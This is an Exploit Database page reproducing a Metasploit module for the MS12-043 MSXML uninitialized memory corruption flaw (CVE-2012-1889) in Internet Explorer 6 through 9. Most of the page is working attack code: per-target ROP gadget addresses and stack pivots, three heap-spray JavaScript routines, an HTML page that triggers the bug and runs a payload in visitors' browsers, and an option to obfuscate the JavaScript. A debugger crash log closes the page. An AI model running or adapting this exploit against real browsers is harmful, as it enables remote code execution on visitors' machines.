Microsoft XML Core Services – MSXML Uninitialized Memory Corruption (MS12-043) (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2012-06-16
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/19186/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking
  
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({
  :ua_name=> HttpClients::IE,
  :ua_minver=> "6.0",
  :ua_maxver=> "9.0",
  :javascript => true,
  :os_name=> OperatingSystems::WINDOWS,
  :classid=> "{f6D90f11-9c73-11d3-b32e-00C04f990bb4}",
  :method => "definition",
  :rank => GoodRanking
  })
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption",
  'Description'=> %q{
  This module exploits a memory corruption flaw in Microsoft XML Core Services
  when trying to access an uninitialized Node with the getDefinition API, which
  may corrupt memory allowing remote code execution.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'inking26', # Reliable exploitation
  'binjo', # Metasploit module
  'sinn3r',# Metasploit module
  'juan vazquez' # Metasploit module
  ],
  'References' =>
  [
  [ 'CVE', '2012-1889' ],
  [ 'BID', '53934' ],
  [ 'OSVDB', '82873'],
  [ 'MSB', 'MS12-043'],
  [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2719615' ],
  [ 'URL', 'http://www.zdnet.com/blog/security/state-sponsored-attackers-using-ie-zero-day-to-hijack-gmail-accounts/12462' ],
  [ 'URL', 'http://hi.baidu.com/inking26/blog/item/9c2ab11c4784e5aa86d6b6c1.html' ],
  [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/18/metasploit-exploits-critical-microsoft-vulnerabilities' ]
  ],
  'Payload'=>
  {
  'BadChars' => "\x00",
  'Space'=> 1024
  },
  'DefaultOptions'=>
  {
  'ExitFunction' => "process",
  'InitialAutoRunScript' => 'migrate -f'
  },
  'Platform' => 'win',
  'Targets'=>
  [
  # msxml3.dll 8.90.1101.0
  [ 'Automatic', {} ],
  [
  'IE 6 on Windows XP SP3',
  {
  'Offset' => '0x100',
  'Rop' => nil,
  'RandomHeap' => false
  }
  ],
  [
  'IE 7 on Windows XP SP3 / Vista SP2',
  {
  'Offset' => '0x100',
  'Rop' => nil,
  'RandomHeap' => false
  }
  ],
  [
  'IE 8 on Windows XP SP3',
  {
  'Rop' => :msvcrt,
  'RandomHeap' => false,
  'RopChainOffset' => '0x5f4',
  'Offset' => '0x0',
  'StackPivot' => 0x77c15ed5, # xchg eax, esp # ret # from msvcrt.dll
  }
  ],
  [
  'IE 8 with Java 6 on Windows XP SP3',
  {
  'Rop' => :jre,
  'RandomHeap' => false,
  'RopChainOffset' => '0x5f4',
  'Offset' => '0x0',
  'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
  }
  ],
  [
  'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',
  {
  'Rop' => :jre,
  'RandomHeap' => false,
  'RopChainOffset' => '0x5f4',
  'Offset' => '0x0',
  'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
  }
  ],
  [
  'IE 9 with Java 6 on Windows 7 SP1',
  {
  'Rop' => :jre,
  'RandomHeap' => true,
  'RopChainOffset' => 0x5FC,
  'Offset' => '0x0',
  'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
  }
  ]
  ],
  'Privileged' => false,
  'DisclosureDate' => "Jun 12 2012",
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
  ], self.class)
  end
  
  def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'
  
  if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
  return targets[1]#IE 6 on Windows XP SP3
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
  return targets[2]#IE 7 on Windows XP SP3
  elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
  return targets[2]#IE 7 on Windows Vista SP2
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
  return targets[3]#IE 8 on Windows XP SP3
  elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
  return targets[5]#IE 8 on Windows 7 SP1/Vista SP2
  elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
  return targets[6]#IE 9 on Windows 7 SP1
  else
  return nil
  end
  end
  
  def ret(t)
  case t['Rop']
  when :msvcrt
  return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
  when :jre
  return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll
  end
  end
  
  def popret(t)
  case t['Rop']
  when :msvcrt
  return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
  when :jre
  return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll
  end
  end
  
  def get_rop_chain(t)
  if t['RandomHeap']
  adjust = [ 0x0c0c0c0c ].pack("V") # heap isn't filled with pointers to 0x0c0c0c0c
  adjust << ret(t)
  else
  adjust = ret(t)
  end
  
  adjust << popret(t)
  adjust << [ t['StackPivot'] ].pack("V")
  adjust << ret(t) * 4 # first call to a "ret" because there is a good gadget in the stack :)
  
  # Both ROP chains generated by mona.py - See corelan.be
  case t['Rop']
  when :msvcrt
  print_status("Using msvcrt ROP")
  rop = generate_rop_payload('msvcrt','',{'target'=>'xp', 'pivot'=>adjust})
  
  else
  print_status("Using JRE ROP")
  rop = generate_rop_payload('java','',{'pivot'=>adjust})
  end
  
  return rop
  end
  
  def get_easy_spray(t, js_code, js_nops)
  
  spray = <<-JS
  var heap_obj = new heapLib.ie(0x20000);
  var code = unescape("#{js_code}");
  var nops = unescape("#{js_nops}");
  
  while (nops.length < 0x80000) nops += nops;
  
  var offset = nops.substring(0, #{t['Offset']});
  var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  
  while (shellcode.length < 0x40000) shellcode += shellcode;
  var block = shellcode.substring(0, (0x80000-6)/2);
  
  
  heap_obj.gc();
  for (var z=1; z < 0x230; z++) {
  heap_obj.alloc(block);
  }
  
  JS
  
  return spray
  
  end
  
  
  def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)
  
  spray = <<-JS
  
  var heap_obj = new heapLib.ie(0x20000);
  var code = unescape("#{js_code}");
  var nops = unescape("#{js_nops}");
  var nops_90 = unescape("#{js_90_nops}");
  var rop_chain = unescape("#{js_rop}");
  
  while (nops.length < 0x80000) nops += nops;
  while (nops_90.length < 0x80000) nops_90 += nops_90;
  
  var offset = nops.substring(0, #{t['Offset']});
  var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length);
  var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);
  
  
  while (shellcode.length < 0x40000) shellcode += shellcode;
  var block = shellcode.substring(0, (0x80000-6)/2);
  
  
  heap_obj.gc();
  for (var z=1; z < 0x230; z++) {
  heap_obj.alloc(block);
  }
  
  JS
  
  return spray
  
  end
  
  # Spray published by corelanc0d3r
  # Exploit writing tutorial part 11 : Heap Spraying Demystified
  # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
  def get_random_spray(t, js_rop, js_code, js_90_nops)
  
  spray = <<-JS
  
  function randomblock(blocksize)
  {
  var theblock = "";
  for (var i = 0; i < blocksize; i++)
  {
  theblock += Math.floor(Math.random()*90)+10;
  }
  return theblock;
  }
  
  function tounescape(block)
  {
  var blocklen = block.length;
  var unescapestr = "";
  for (var i = 0; i < blocklen-1; i=i+4)
  {
  unescapestr += "%u" + block.substring(i,i+4);
  }
  return unescapestr;
  }
  
  var heap_obj = new heapLib.ie(0x10000);
  
  var rop = unescape("#{js_rop}");
  var code = unescape("#{js_code}");
  var nops_90 = unescape("#{js_90_nops}");
  
  while (nops_90.length < 0x80000) nops_90 += nops_90;
  
  var offset_length = #{t['RopChainOffset']};
  
  for (var i=0; i < 0x1000; i++) {
  var padding = unescape(tounescape(randomblock(0x1000)));
  while (padding.length < 0x1000) padding+= padding;
  var junk_offset = padding.substring(0, offset_length - code.length);
  var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
  while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
  sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
  heap_obj.alloc(sprayblock);
  }
  
  JS
  
  return spray
  end
  
  def on_request_uri(cli, request)
  agent = request.headers['User-Agent']
  my_target = get_target(agent)
  
  # Avoid the attack if the victim doesn't have the same setup we're targeting
  if my_target.nil?
  print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
  send_not_found(cli)
  return
  end
  
  p = payload.encoded
  js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
  js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
  js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
  
  
  if not my_target['Rop'].nil?
  js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
  end
  
  if my_target['RandomHeap']
  js = get_random_spray(my_target, js_rop, js_code, js_90_nops)
  elsif not my_target['Rop'].nil?
  js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops)
  else
  js = get_easy_spray(my_target, js_code, js_nops)
  end
  
  js = heaplib(js, {:noobfu => true})
  
  if datastore['OBFUSCATE']
  js = ::Rex::Exploitation::JSObfu.new(js)
  js.obfuscate
  end
  
  object_id = rand_text_alpha(4)
  
  html = <<-EOS
  <html>
  <head>
  <script>
  #{js}
  </script>
  </head>
  <body>
  <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="#{object_id}"></object>
  <script>
  var obj = document.getElementById('#{object_id}').object;
  var src = unescape("%u0c08%u0c0c");
  while (src.length < 0x1002) src += src;
  src = "https://www.exploit-db.com/exploits/19186/\\\\\\\\xxx" + src;
  src = src.substr(0, 0x1000 - 10);
  var pic = document.createElement("img");
  pic.src = src;
  pic.nameProp;
  obj.definition(#{rand(999) + 1});
  </script>
  </body>
  </html>
  EOS
  
  html = html.gsub(/^ {4}/, '')
  
  print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
  send_response(cli, html, {'Content-Type'=>'text/html'})
  
  end
  
  end
  
  =begin
  (e34.358): Access violation - code c0000005 (first chance)
  First chance exceptions are reported before any exception handling.
  This exception may be expected and handled.
  eax=7498670c ebx=00000000 ecx=5f5ec68b edx=00000001 esi=7498670c edi=0013e350
  eip=749bd772 esp=0013e010 ebp=0013e14c iopl=0 nv up ei pl nz na pe nc
  cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206
  msxml3!_dispatchImpl::InvokeHelper+0xb4:
  749bd772 ff5118calldword ptr [ecx+18h]ds:0023:5f5ec6a3=????????
  
  
  0:008> r
  eax=020bf2f0 ebx=00000000 ecx=00000000 edx=00000001 esi=020bf2f0 edi=020bf528
  eip=749bd772 esp=020bf1a8 ebp=020bf2e4 iopl=0 nv up ei pl nz na pe nc
  cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206
  msxml3!_dispatchImpl::InvokeHelper+0xb4:
  749bd772 ff5118calldword ptr [ecx+18h]ds:0023:00000018=????????
  0:008> k
  ChildEBP RetAddr
  020bf2e4 749bdb13 msxml3!_dispatchImpl::InvokeHelper+0xb4
  020bf320 749d4d84 msxml3!_dispatchImpl::Invoke+0x5e
  020bf360 749dcae4 msxml3!DOMNode::Invoke+0xaa
  020bf394 749bd5aa msxml3!DOMDocumentWrapper::Invoke+0x50
  020bf3f0 749d6e6c msxml3!_dispatchImpl::InvokeEx+0xfa
  020bf420 633a6d37 msxml3!_dispatchEx<IXMLDOMNode,&LIBID_MSXML2,&IID_IXMLDOMNode,0>::InvokeEx+0x2d
  020bf460 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
  020bf49c 633a9cfe jscript!IDispatchExInvokeEx+0x6a
  020bf55c 633a9f3c jscript!InvokeDispatchEx+0x98
  020bf590 633a77ff jscript!VAR::InvokeByName+0x135
  020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
  020bf60c 633a9c0b jscript!VAR::InvokeByDispID+0xce
  020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x2989
  020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff
  020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f
  020bf958 633891f1 jscript!CSession::Execute+0x175
  020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0
  020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a
  020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30
  020bfa88 635be7ca mshtml!CScriptCollection::ParseScriptText+0x219
  
  =end